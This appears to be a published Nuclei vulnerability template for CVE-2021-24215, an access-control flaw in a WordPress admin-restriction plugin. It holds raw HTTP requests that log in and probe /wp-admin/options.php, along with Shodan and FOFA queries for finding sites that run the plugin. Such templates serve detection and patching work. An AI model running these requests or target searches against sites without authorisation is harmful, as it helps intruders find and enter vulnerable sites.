CVE-2021-24215: Controlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation

Description

An Improper Access Control vulnerability was discovered in the plugin. Uncontrolled access to the website customization functionality and global CMS settings, like /wp-admin/customization.php and /wp-admin/options.php, can lead to a complete compromise of the target resource.

PoC

id: CVE-2021-24215

info:
  name: Controlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation
  author: r3Y3r53
  severity: critical
  description: |
    An Improper Access Control vulnerability was discovered in the plugin. Uncontrolled access to the website customization functionality and global CMS settings, like /wp-admin/customization.php and /wp-admin/options.php, can lead to a complete compromise of the target resource.
  impact: |
    Unauthenticated attackers can access sensitive WordPress customization functionality and global CMS settings, potentially leading to complete site compromise through uncontrolled access to configuration endpoints.
  remediation: Fixed in version 1.5.2
  reference:
    - https://wpscan.com/vulnerability/eec0f29f-a985-4285-8eed-d1855d204a20
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24215
    - https://www.opencve.io/cve/CVE-2021-24215
    - https://m0ze.ru/vulnerability/[2021-03-18]-[WordPress]-[CWE-284]-Controlled-Admin-Access-WordPress-Plugin-v1.4.0.txt
    - https://m0ze.ru/vulnerability/%5B2021-03-18%5D-%5BWordPress%5D-%5BCWE-284%5D-Controlled-Admin-Access-WordPress-Plugin-v1.4.0.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24215
    cwe-id: CWE-425,CWE-284
    epss-score: 0.09733
    epss-percentile: 0.95268
    cpe: cpe:2.3:a:wpruby:controlled_admin_access:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpruby
    product: controlled_admin_access
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/controlled-admin-access/
    fofa-query: body=/wp-content/plugins/controlled-admin-access/
    publicwww-query: /wp-content/plugins/controlled-admin-access/
  tags: cve2021,cve,authenticated,wpscan,wordpress,wp-plugin,wp,controlled-admin-access,wpruby,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "This page allows direct access to your site settings") && contains(body_2, "Controlled Admin Access")'
        condition: and
# digest: 4a0a0047304502202e1ddfca447b49e8c591cf0cfd928a921274302ded50acfb5028907e7d8fd9c6022100f724b33e3253b50221b9b797e5929e20c25c6ed9711ecaff2de91134498cb1a9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities